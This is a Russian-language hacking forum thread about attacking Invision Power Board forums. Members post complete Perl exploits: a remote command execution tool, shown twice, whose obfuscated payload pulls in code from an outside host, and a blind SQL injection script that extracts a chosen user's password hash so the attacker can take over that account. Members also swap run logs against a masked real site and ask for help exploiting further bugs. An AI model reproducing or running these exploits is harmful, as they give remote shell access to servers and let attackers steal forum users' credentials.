• XSS.stack #1 – первый литературный журнал от юзеров форума

Уязвимости: Invision Power Board (IPB)

Переменная st видать вообще не фильтруется.
ну, чтобы вообще не фильтровалась, так это слишком сильно сказано. К типу integer она же приводится...
Единственное, что можно поиметь с уязвимости в параметре st - это раскрытие префикса БД.
Кста у нас эта бага почему-то не пахала...
2.1.5 и, возможно, более ранние версии
 
Invision Power Board 2.* commands execution exploit
Код:
#!/usr/bin/perl

## Invision Power Board 2.* commands execution exploit by RST/GHC
## vulnerable versions <= 2.1.5
## tested on 2.1.4, 2.0.2
##
## (c)oded by 1dt.w0lf
## RST/GHC
## http://rst.void.ru
## http://ghc.ru


use IO::Socket;
use Getopt::Std;

getopts("l:h:p:d:f:v:");

$host     = $opt_h;
$dir      = $opt_d;
$login    = $opt_l;
$password = $opt_p;
$forum    = $opt_f;
$version  = $opt_v || 0;

$|++;

header();
if(!$host||!$dir||!$login||!$password||!$forum) { usage(); }

print "[~]    SERVER : $host\r\n";
print "[~]      PATH : $dir\r\n";
print "[~]     LOGIN : $login\r\n";
print "[~]  PASSWORD : $password\r\n";
print "[~]    TARGET : $version";
print (($version)?(' - IPB 2.1.*'):(' - IPB 2.0.*'));
print "\r\n";

print "[~] Login ... ";

$sock = IO::Socket::INET->new( Proto => "tcp", PeerAddr => "$host", PeerPort => "80") || die "[-] CONNECTION FAILED";
$login    =~ s/(.)/"%".uc(sprintf("%2.2x",ord($1)))/eg;
$password =~ s/(.)/"%".uc(sprintf("%2.2x",ord($1)))/eg;
$post     = 'UserName='.$login.'&PassWord='.$password;
$loggedin = 0;
print $sock "POST ${dir}index.php?act=Login&CODE=01 HTTP/1.1\r\n";
print $sock "Host: $host\r\n";
print $sock "Connection: close\r\n";
print $sock "Content-Type: application/x-www-form-urlencoded\n";
print $sock "Content-length: ".length($post)."\r\n\r\n";
print $sock "$post";
print $sock "\r\n\r\n";
while (<$sock>)
{  
 if(/session_id=([a-f|0-9]{32})/) { $sid = $1; }
}
$sock = IO::Socket::INET->new( Proto => "tcp", PeerAddr => "$host", PeerPort => "80") || die "[-] CONNECTION FAILED";
print $sock "GET ${dir}index.php HTTP/1.1\r\n";
print $sock "Host: $host\r\n";
print $sock "Cookie: session_id=$sid;\r\n";
print $sock "Connection: close\r\n\r\n";
while (<$sock>)
{    
 if(/act=Login&amp;CODE=03/) { $loggedin = 1; last; }
}
if($loggedin) { print " [ DONE ]\r\n"; }
else { print " [ FAILED ]\r\n"; exit(); }

print "[+] SID: $sid\r\n";

print "[~] Try get md5_check ...";
$sock = IO::Socket::INET->new( Proto => "tcp", PeerAddr => "$host", PeerPort => "80") || die "[-] CONNECTION FAILED";
if($version==1)
 {
 print $sock "GET ${dir}index.php?act=post&do=new_post&f=${forum} HTTP/1.1\r\n";
 }
else
 {
 print $sock "GET ${dir}index.php?act=Post&CODE=00&f=${forum} HTTP/1.1\r\n";
 }
print $sock "Host: $host\r\n";
print $sock "Cookie: session_id=$sid;\r\n";
print $sock "Connection: close\r\n\r\n";
while (<$sock>)
 {  
 if($version == 1 && /ipb_md5_check\s*= \"([a-f|0-9]{32})\"/)  { $md5_check = $1; last; }
 if($version == 0 && /auth_key' value='([a-f|0-9]{32})/) { $md5_check = $1; last; }
 }
close($sock);
if($md5_check) { print " [ DONE ]\r\n"; print "[+] MD5_CHECK : $md5_check\r\n"; }
else { print " [ FAILED ]\r\n"; exit(); }

print "[~] Create new message ...";
$sock = IO::Socket::INET->new( Proto => "tcp", PeerAddr => "$host", PeerPort => "80") || die "[-] CONNECTION FAILED";
$created = 0;
$text = 'r57ipbxplhohohoeval(include(chr(104).chr(116).chr(116).chr(112).chr(58).
chr(47).chr(47).chr(114).chr(115).chr(116).chr(46).chr(118).chr(111).chr(105).
chr(100).chr(46).chr(114).chr(117).chr(47).chr(114).chr(53)'.
        '.chr(55).chr(105).chr(112).chr(98).chr(105).chr(110).chr(99).chr(46).chr(116
).chr(120).chr(116))); //';
$post = "st=0&act=Post&s=&f=${forum}&auth_key=${md5_check}&removeattachid=0&CODE=01&post_key=&TopicTitle=justxpl&TopicDesc=justxpl&
poll_question=&ffont=0&fsize=0&Post=${text}&enableemo=yes&enablesig=yes&iconid=0";
print $sock "POST ${dir}index.php HTTP/1.1\r\n";
print $sock "Host: $host\r\n";
print $sock "Cookie: session_id=$sid;\r\n";
print $sock "Connection: close\r\n";
print $sock "Content-Type: application/x-www-form-urlencoded\n";
print $sock "Content-length: ".length($post)."\r\n\r\n";
print $sock "$post";
print $sock "\r\n\r\n";
while (<$sock>)
 {  
 if(/Location:/) { $created = 1; last; }
 }
if($created) { print " [ DONE ]\r\n"; }
else { print " [ FAILED ]\r\n"; exit(); }

$sock = IO::Socket::INET->new( Proto => "tcp", PeerAddr => "$host", PeerPort => "80") || die "[-] CONNECTION FAILED";
print "[~] Search message ...";
$post = 'keywords=r57ipbxplhohohoeval&namesearch='.$login.'&forums%5B%5D=all&searchsubs=1&prune=0&prune_type=newer&sort_key=last_post&
sort_order=desc&search_in=posts&result_type=posts';
print $sock "POST ${dir}index.php?act=Search&CODE=01 HTTP/1.1\r\n";
print $sock "Host: $host\r\n";
print $sock "Cookie: session_id=$sid;\r\n";
print $sock "Connection: close\r\n";
print $sock "Content-Type: application/x-www-form-urlencoded\n";
print $sock "Content-length: ".length($post)."\r\n\r\n";
print $sock "$post";
print $sock "\r\n\r\n";

while (<$sock>)
 {
 if(/searchid=([a-f|0-9]{32})/) { $searchid = $1; last; }
 }

if($searchid) { print " [ DONE ]\r\n"; }
else { print "[ FAILED ]\r\n"; exit(); }
print "[+] SEARCHID: $searchid\r\n";

$get = 'index.php?act=Search&CODE=show&searchid='.$searchid.'&search_in=posts&result_type=posts&highlite=r57ipbxplhohohoeval&lastdate=z|eval.*?%20//)%23e%00';

while ()
 {
    print "Command for execute or 'exit' for exit # ";
    while(<STDIN>)
     {
        $cmd=$_;
        chomp($cmd);
        exit() if ($cmd eq 'exit');
        last;
     }
    &run($cmd);
 }

sub run()
 {
  $cmd =~ s/(.*);$/$1/eg;
  $cmd =~ s/(.)/"%".uc(sprintf("%2.2x",ord($1)))/eg;
  $cmd2 = '%65%63%68%6F%20%5F%53%54%41%52%54%5F%20%26%26%20';
  $cmd2 .= $cmd;
  $cmd2 .= '%20%26%26%20%65%63%68%6F%20%5F%45%4E%44%5F';
  $sock = IO::Socket::INET->new( Proto => "tcp", PeerAddr => "$host", PeerPort => "80") || die "[-] CONNECTION FAILED";
  
  print $sock "GET ${dir}${get}&eharniy_ekibastos=$cmd2 HTTP/1.1\r\n";
  print $sock "Host: $host\r\n";
  print $sock "Cookie: session_id=$sid;\r\n";
  print $sock "Connection: close\r\n\r\n";

  $on = 0;
  $runned = 0;
  while ($answer = <$sock>)
   {
    if ($answer =~ /^_END_/) { return 0; }
    if ($on == 1) { print "  $answer"; }
    if ($answer =~ /^_START_/) { $on = 1; }
   }
 }
 
sub header()
 {
 print "~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~\r\n";   
 print " Invision Power Board 2.* commands execution exploit by RST/GHC\r\n";
 print "~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~\r\n";
 }
 
sub usage()
 {
 print "r57ipbce.pl -h <host> -d <dir> -l <login> -p <password> -f <forum> -v <version>\r\n\r\n";
 print "<host>     - host where IPB installed e.g www.ipb.com\r\n";
 print "<dir>      - folder where IPB installed e.g. /forum/ , /ipb/ , etc...\r\n";
 print "<login>    - login of any exist user\r\n";
 print "<password> - and password too )\r\n";
 print "<forum>    - number of forum where user can create topic e.g 2,4, etc\r\n";
 print "<version>  - forum version:\r\n";
 print "             0 - 2.0.*\r\n";
 print "             1 - 2.1.*\r\n";
 exit();
 }
Источник: rst.void.ru
[mod][Ŧ1LAN:] в следующий раз не поленись скопировать текст эксплоита...[/mod]
 
not null
сплойт от rst тоже нигде не заработал
попробовал на 3 форумах, результат 0
если у кого получилось отпишите
 
Клевый сплоит...... правда я его дописал немног.... рулез! респект ребятам из RST
 
Я чет совсем глупый...
В итоге он дает возможность выполнять команды?
это какие еще? шелловые?
 
Вот результат сплойта, вроде всё ок, но единственная проблема, то что команды не выполняются...

Код:
D:\Documents and Settings\Admin\My Documents\Download>a.pl -h www.******.ru -d /forum/ -l nmb795 -p 123 -f 53 -v 1
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
 Invision Power Board 2.* commands execution exploit by RST/GHC
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
[~]    SERVER : www.******.ru
[~]      PATH : /forum/
[~]     LOGIN : nmb795
[~]  PASSWORD : 123
[~]    TARGET : 1 - IPB 2.1.*
[~] Login ...  [ DONE ]
[+] SID: 8352ae47ea6124bb7cadac55b69ea04c
[~] Try get md5_check ... [ DONE ]
[+] MD5_CHECK : b11be7014e4cccf913add62569fa48a8
[~] Create new message ... [ DONE ]
[~] Search message ... [ DONE ]
[+] SEARCHID: 3343a106900399f8a437a52c7a125012
Command for execute or 'exit' for exit # uname -a
Command for execute or 'exit' for exit #
 
Я просто тестил сплойт на халявном хостинге, где стоит сэйф мод и команды впринципе не пашут....

Завтра на чем-нить более серьезном проверю...
 
Тем, у кого эксплоит не выполняет команды:
Изучите внимательно сорец. Зная стиль Вульфа, я не мог не обратить внимания на эту строчку
Код:
$text = 'r57ipbxplhohohoeval(include(chr(104).chr(116).chr(116).chr(112).chr(58).
chr(47).chr(47).chr(114).chr(115).chr(116).chr(46).chr(118).chr(111).chr(105).
chr(100).chr(46).chr(114).chr(117).chr(47).chr(114).chr(53)'.
      '.chr(55).chr(105).chr(112).chr(98).chr(105).chr(110).chr(99).chr(46).chr(116).chr(120).chr(116))); //';
Несколько строк на перле - и вы увидите, что там скрывается. А когда увидите, то 100% поймете, почему команды могут не выполняться ;)
 
Несколько строк на перле - и вы увидите, что там скрывается. А когда увидите, то 100% поймете, почему команды могут не выполняться ;)
ха-ха =)
eharniy_ekibastos -убил просто :lol2:
 
Ээээ...
Блин, не видел 10 страницу, сам расшифровал.. :)
А куды теперь этот кусок всовывают?
 
Программа: Invision Power Board 2.1.4, возможно более ранние версии

Опасность: Средняя

Наличие эксплоита: Нет

Описание:
Уязвимость позволяет удаленному пользователю выполнить произвольные SQL команды в базе данных приложения.

Уязвимость существует из-за недостаточной обработки входных данных в параметре \"from_contact\" файла куки во время отправки сообщения другому пользователю. Удаленный пользователь может с помощью специально сформированного файла куки выполнить произвольные SQL команды в базе данных приложения. Для удачной эксплуатации уязвимости требуется наличие учетной записи.

Жаль, открытого эксплойта нету. Но, думаю, может кто-нибудь поможет заюзать эту багу?
 
Я пытался эксплуатировать эту багу...Не получилось что-то
В форуме 2.1.4 вообще логин не проходит :(
В форуме 2.0.4 логин проходит, только вот разницы между правильным и неправильным запросом я не вижу, хотя запрос успешно доходит до базы данных (оседает в логах).
 
Поссмотрите видео, думаю многим поможет...Главное что бага рабочая...

:zns5:Скачать|Download
 
RedDevil
Лови сплоит
Invision Power Board <= 2.1.5 (from_contact) SQL Injection Exploit
Код:
#!/usr/bin/perl
#############################################################################
## IPB <=2.1.4 exploit (possibly 2.1.5 too)                                ##
## Brought to you by the Ykstortion security team.                         ##
##                                                                         ##
## The bug is in the pm system so you must have a registered user.         ##
## The exploit will extract a password hash from the forum's data base of  ##
## the target user.                                                        ##
## You need to know the target user's member ID but it's not difficult to  ##
## find out, just look under their avatar next to one of their posts.      ##
## Once you have the hash, simply unset all forum cookies and set          ##
## member_id to the target user's member id and pass_hash to the hash      ##
## obtained from the database by this script.                              ##
##                                                                         ##
## Usage:                                                                  ##
##   $ ./ipb                                                               ##
##   IPB Forum URL ? forums.example.com/forums                             ##
##   Your username ? krypt_sk1dd13                                         ##
##   Your pass ? if_your_on_nix_this_gets_hidden                           ##
##   Target userid ? 3637                                                  ##
##                                                                         ##
##   Attempting to extract password hash from database...                  ##
##   537ab2d5b37ac3a3632f5d06e8e04368                                      ##
##   Hit enter to quit.                                                    ##
##                                                                         ##
## Requirements:                                                           ##
##   o Perl 5                                                              ##
##   o LWP 5.64 or later                                                   ##
##   o Internet access                                                     ##
##   o A forum you hate/dislike                                            ##
##   o A user on said forum                                                ##
##   o 32+ PMs left till your inbox is full, if not you can still delete   ##
##     PMs from your inbox as the successful ones come through             ##
##                                                                         ##
## Credit to: Nuticulus for finding the SQL injection                      ##
##                                                                         ##
## Have fun, you dumb skiddie.                                             ##
#############################################################################

use HTTP::Cookies;
use LWP 5.64;
use HTTP::Request;

# variables
my $login_page = '?act=Login&CODE=01';
my $pm_page = '?act=Msg&CODE=04';
my $pose_pm_page = '?';
my $tries = 5;
my $sql = '';
my $hash = '';
my $need_null = 0;
my $i;
my $j;
my @charset = ('0' .. '9', 'a' .. 'f');
my %form = (act  => 'Msg',
	CODE  => '04',
	MODE  => '01',
	OID  => '',
	removeattachid	=> '',
	msg_title	=> 'asdf',
	bbmode  => 'normal',
	ffont  => 0,
	fsize  => 0,
	fcolor  => 0,
	LIST  => ' LIST ',
	helpbox  => 'Insert Monotype Text (alt + p)',
	tagcount	=> 0,
	Post  => 'jkl');
	

# objects
my $ua = LWP::UserAgent->new;
my $cj = HTTP::Cookies->new (file => "N/A", autosave => 0);
my $resp;

# init the cookie jar
$ua->cookie_jar ($cj);

# allow redirects on post requests
push @{ $ua->requests_redirectable }, "POST";

# get user input
print 'IPB Forum URL ? ';
chomp (my $base_url = <STDIN>);
print 'Your username ? ';
chomp (my $user = <STDIN>);
$form{entered_name} = $user;
print 'Your pass ? ';
system 'stty -echo';  # to turn off echoing
chomp (my $pass = <STDIN>);
system 'stty echo';  # to turn it back on
print "\n";
print 'Target userid ? ';	# it'll say next to one of their posts
chomp (my $tid = <STDIN>);

# parse the given base url
if ($base_url !~ m#^http://#) { $base_url = 'http://' . $base_url }
if ($base_url !~ m#/$|index\.php$#) { $base_url .= '/' }

do {
	$resp = $ua->post ($base_url . $login_page,
  [ UserName => $user,
    PassWord => $pass,
    CookieDate => 1,
  ]);
} while ($tries-- && !$resp->is_success());

# reset tries
$tries = 5;

# did we get 200 (OK) ?
if (!$resp->is_success()) { die 'Error: ' . $resp->status_line . "\n" }

# was the pass right ?
if ($resp->content =~ /sorry, the password was wrong/i) {
	die "Error: password incorrect.\n";
}

# get ourselves a post_key (and an auth_key too with newer versions)
do {
	$resp = $ua->get ($base_url . $pm_page);
} while ($tries-- && !$resp->is_success());

# reset tries
$tries = 5;

if (!$resp->is_success()) { die 'Error: ' . $resp->status_line . "\n" }
if ($resp->content =~ m#<input\s+?type=["']?hidden["']?\s+?name=["']?post_key["']?\s+?value=["']?([0-9a-f]{32})["']?\s+?/>#)
{
	$form{post_key} = $1;
} else {
	die "Error: couldn't get a post key.\n";
}
if ($resp->content =~ m#<input\s+?type=["']?hidden["']?\s+?name=["']?auth_key["']?\s+?value=["']?([0-9a-f]{32})["']?\s+/>#)
{
	$form{auth_key} = $1;
}

# turn off buffering so chars in the hash show up straight away
$| = 1;

print "\nAttempting to extract password hash from database...\n ";

OFFSET:
for ($i = 0; $i < 32; ++$i) {
	CHAR:
	for ($j = 0; $j < @charset; ++$j) {
  # reset tries
  $tries = 5;
  print "\x08", $charset[$j];
  # build sql injection
  $sql = '-1 UNION SELECT ' . ($need_null ? '0, ' : '') . 'CHAR('
       . (join (',', map {ord} split ('', $user))) . ') FROM '
       . 'ibf_members WHERE id = ' . $tid . ' AND MID('
       . 'member_login_key, ' . ($i + 1) . ', 1) = CHAR('
       . ord ($charset[$j]) . ')';
  $form{from_contact} = $sql;
  $resp = $ua->post ($base_url . $post_pm_page, \%form,
  	referer => $base_url . $pm_page);
  if (!$resp->is_success()) {
  	die "\nError: " . $resp->status_line
     . "\n" if (!$tries);
  	--$tries;
  	redo;
  }
  if ($resp->content =~ /sql error/i) {
  	if ($need_null) {
    die "Error: SQL error.\n";
  	} else {
    $need_null = 1;
    redo OFFSET;
  	}
  } elsif ($resp->content !~ /there is no such member/i) {
  	# we have a winner !
  	print ' ';
  	next OFFSET;
  }
	}
	# uh oh, something went wrong
	die "\nError: couldn't get a char for offset $i\n";
}
print "\x08 \x08\nHit enter to quit.\n";
<STDIN>;
 
respect
кстати, секулаб что-то явно тормозит...
 
Программа: Invision Power Board 2.1.4, возможно более ранние версии

Опасность: Средняя

Наличие эксплоита: Нет

Описание:
Уязвимость позволяет удаленному пользователю выполнить произвольные SQL команды в базе данных приложения.

Уязвимость существует из-за недостаточной обработки входных данных в параметре \"from_contact\" файла куки во время отправки сообщения другому пользователю. Удаленный пользователь может с помощью специально сформированного файла куки выполнить произвольные SQL команды в базе данных приложения. Для удачной эксплуатации уязвимости требуется наличие учетной записи.

Жаль, открытого эксплойта нету. Но, думаю, может кто-нибудь поможет заюзать эту багу?
Уязвимость позволяет удаленному пользователю произвести XSS нападение и выполнить произвольные SQL команды в базе данных приложения и скомпрометировать уязвимую систему.
1. Уязвимость существует из-за недостаточной обработки входных данных в параметре "lastdate" в сценарии "search.php" перед вызовом функции "preg_replace()". Удаленный пользователь может с помощью специально сформированного запроса выполнить произвольный PHP код на целевой системе.
2. Уязвимость существует из-за недостаточной обработки входных данных в параметре "ck" в сценарии "index.php". Удаленный пользователь может с помощью специально сформированного запроса выполнить произвольные SQL команды в базе данных приложения. Максимальная длина запроса ограничена 32 символами.
Административный пользователь может с помощью параметра "name" в сценарии "admin.php" выполнить произвольный PHP сценарий на системе.
3. Уязвимость существует из-за того, что злоумышленник может загрузить злонамеренный JPEG файл с GIF заголовком, содержащим HTML сценарий. Удаленный пользователь может с помощью специально сформированного запроса выполнить произвольный код сценарий в браузере жертвы в контексте безопасности уязвимого сайта.

Код:
#!/usr/bin/perl

## Invision Power Board 2.* commands execution exploit by RST/GHC
## vulnerable versions <= 2.1.5
## tested on 2.1.4, 2.0.2
##
## (c)oded by 1dt.w0lf
## RST/GHC
## http://rst.void.ru
## http://ghc.ru


use IO::Socket;
use Getopt::Std;

getopts("l:h:p:d:f:v:");

$host     = $opt_h;
$dir      = $opt_d;
$login    = $opt_l;
$password = $opt_p;
$forum    = $opt_f;
$version  = $opt_v || 0;

$|++;

header();
if(!$host||!$dir||!$login||!$password||!$forum) { usage(); }

print "[~]    SERVER : $host\r\n";
print "[~]      PATH : $dir\r\n";
print "[~]     LOGIN : $login\r\n";
print "[~]  PASSWORD : $password\r\n";
print "[~]    TARGET : $version";
print (($version)?(' - IPB 2.1.*'):(' - IPB 2.0.*'));
print "\r\n";

print "[~] Login ... ";

$sock = IO::Socket::INET->new( Proto => "tcp", PeerAddr => "$host", PeerPort => "80") || die "[-] CONNECTION FAILED";
$login    =~ s/(.)/"%".uc(sprintf("%2.2x",ord($1)))/eg;
$password =~ s/(.)/"%".uc(sprintf("%2.2x",ord($1)))/eg;
$post     = 'UserName='.$login.'&PassWord='.$password;
$loggedin = 0;
print $sock "POST ${dir}index.php?act=Login&CODE=01 HTTP/1.1\r\n";
print $sock "Host: $host\r\n";
print $sock "Connection: close\r\n";
print $sock "Content-Type: application/x-www-form-urlencoded\n";
print $sock "Content-length: ".length($post)."\r\n\r\n";
print $sock "$post";
print $sock "\r\n\r\n";
while (<$sock>)
{  
 if(/session_id=([a-f|0-9]{32})/) { $sid = $1; }
}
$sock = IO::Socket::INET->new( Proto => "tcp", PeerAddr => "$host", PeerPort => "80") || die "[-] CONNECTION FAILED";
print $sock "GET ${dir}index.php HTTP/1.1\r\n";
print $sock "Host: $host\r\n";
print $sock "Cookie: session_id=$sid;\r\n";
print $sock "Connection: close\r\n\r\n";
while (<$sock>)
{    
 if(/act=Login&amp;CODE=03/) { $loggedin = 1; last; }
}
if($loggedin) { print " [ DONE ]\r\n"; }
else { print " [ FAILED ]\r\n"; exit(); }

print "[+] SID: $sid\r\n";

print "[~] Try get md5_check ...";
$sock = IO::Socket::INET->new( Proto => "tcp", PeerAddr => "$host", PeerPort => "80") || die "[-] CONNECTION FAILED";
if($version==1)
 {
 print $sock "GET ${dir}index.php?act=post&do=new_post&f=${forum} HTTP/1.1\r\n";
 }
else
 {
 print $sock "GET ${dir}index.php?act=Post&CODE=00&f=${forum} HTTP/1.1\r\n";
 }
print $sock "Host: $host\r\n";
print $sock "Cookie: session_id=$sid;\r\n";
print $sock "Connection: close\r\n\r\n";
while (<$sock>)
 {  
 if($version == 1 && /ipb_md5_check\s*= \"([a-f|0-9]{32})\"/)  { $md5_check = $1; last; }
 if($version == 0 && /auth_key' value='([a-f|0-9]{32})/) { $md5_check = $1; last; }
 }
close($sock);
if($md5_check) { print " [ DONE ]\r\n"; print "[+] MD5_CHECK : $md5_check\r\n"; }
else { print " [ FAILED ]\r\n"; exit(); }

print "[~] Create new message ...";
$sock = IO::Socket::INET->new( Proto => "tcp", PeerAddr => "$host", PeerPort => "80") || die "[-] CONNECTION FAILED";
$created = 0;
$text = 'r57ipbxplhohohoeval(include(chr(104).chr(116).chr(116).chr(112).chr(58).chr(47).chr(47).chr(114).chr(115).chr(116).chr(46).chr(118).chr(111).chr(105).chr(100).chr(46).chr(114).chr(117).chr(47).chr(114).chr(53)'.
        '.chr(55).chr(105).chr(112).chr(98).chr(105).chr(110).chr(99).chr(46).chr(116).chr(120).chr(116))); //';
$post = "st=0&act=Post&s=&f=${forum}&auth_key=${md5_check}&removeattachid=0&CODE=01&post_key=&TopicTitle=justxpl&TopicDesc=justxpl&poll_question=&ffont=0&fsize=0&Post=${text}&enableemo=yes&enablesig=yes&iconid=0";
print $sock "POST ${dir}index.php HTTP/1.1\r\n";
print $sock "Host: $host\r\n";
print $sock "Cookie: session_id=$sid;\r\n";
print $sock "Connection: close\r\n";
print $sock "Content-Type: application/x-www-form-urlencoded\n";
print $sock "Content-length: ".length($post)."\r\n\r\n";
print $sock "$post";
print $sock "\r\n\r\n";
while (<$sock>)
 {  
 if(/Location:/) { $created = 1; last; }
 }
if($created) { print " [ DONE ]\r\n"; }
else { print " [ FAILED ]\r\n"; exit(); }

$sock = IO::Socket::INET->new( Proto => "tcp", PeerAddr => "$host", PeerPort => "80") || die "[-] CONNECTION FAILED";
print "[~] Search message ...";
$post = 'keywords=r57ipbxplhohohoeval&namesearch='.$login.'&forums%5B%5D=all&searchsubs=1&prune=0&prune_type=newer&sort_key=last_post&sort_order=desc&search_in=posts&result_type=posts';
print $sock "POST ${dir}index.php?act=Search&CODE=01 HTTP/1.1\r\n";
print $sock "Host: $host\r\n";
print $sock "Cookie: session_id=$sid;\r\n";
print $sock "Connection: close\r\n";
print $sock "Content-Type: application/x-www-form-urlencoded\n";
print $sock "Content-length: ".length($post)."\r\n\r\n";
print $sock "$post";
print $sock "\r\n\r\n";

while (<$sock>)
 {
 if(/searchid=([a-f|0-9]{32})/) { $searchid = $1; last; }
 }

if($searchid) { print " [ DONE ]\r\n"; }
else { print "[ FAILED ]\r\n"; exit(); }
print "[+] SEARCHID: $searchid\r\n";

$get = 'index.php?act=Search&CODE=show&searchid='.$searchid.'&search_in=posts&result_type=posts&highlite=r57ipbxplhohohoeval&lastdate=z|eval.*?%20//)%23e%00';

while ()
 {
    print "Command for execute or 'exit' for exit # ";
    while(<STDIN>)
     {
        $cmd=$_;
        chomp($cmd);
        exit() if ($cmd eq 'exit');
        last;
     }
    &run($cmd);
 }

sub run()
 {
  $cmd =~ s/(.*);$/$1/eg;
  $cmd =~ s/(.)/"%".uc(sprintf("%2.2x",ord($1)))/eg;
  $cmd2 = '%65%63%68%6F%20%5F%53%54%41%52%54%5F%20%26%26%20';
  $cmd2 .= $cmd;
  $cmd2 .= '%20%26%26%20%65%63%68%6F%20%5F%45%4E%44%5F';
  $sock = IO::Socket::INET->new( Proto => "tcp", PeerAddr => "$host", PeerPort => "80") || die "[-] CONNECTION FAILED";
  
  print $sock "GET ${dir}${get}&eharniy_ekibastos=$cmd2 HTTP/1.1\r\n";
  print $sock "Host: $host\r\n";
  print $sock "Cookie: session_id=$sid;\r\n";
  print $sock "Connection: close\r\n\r\n";

  $on = 0;
  $runned = 0;
  while ($answer = <$sock>)
   {
    if ($answer =~ /^_END_/) { return 0; }
    if ($on == 1) { print "  $answer"; }
    if ($answer =~ /^_START_/) { $on = 1; }
   }
 }
 
sub header()
 {
 print "~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~\r\n";   
 print " Invision Power Board 2.* commands execution exploit by RST/GHC\r\n";
 print "~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~\r\n";
 }
 
sub usage()
 {
 print "r57ipbce.pl -h <host> -d <dir> -l <login> -p <password> -f <forum> -v <version>\r\n\r\n";
 print "<host>     - host where IPB installed e.g www.ipb.com\r\n";
 print "<dir>      - folder where IPB installed e.g. /forum/ , /ipb/ , etc...\r\n";
 print "<login>    - login of any exist user\r\n";
 print "<password> - and password too )\r\n";
 print "<forum>    - number of forum where user can create topic e.g 2,4, etc\r\n";
 print "<version>  - forum version:\r\n";
 print "             0 - 2.0.*\r\n";
 print "             1 - 2.1.*\r\n";
  exit();
 }
[mod][not null:] Ой, ты наверно член клуба знатоков? Речь идет не об этих уязвимостях и не этом сплоите![/mod]
 


Напишите ответ...
  • Вставить:
Прикрепить файлы
Верх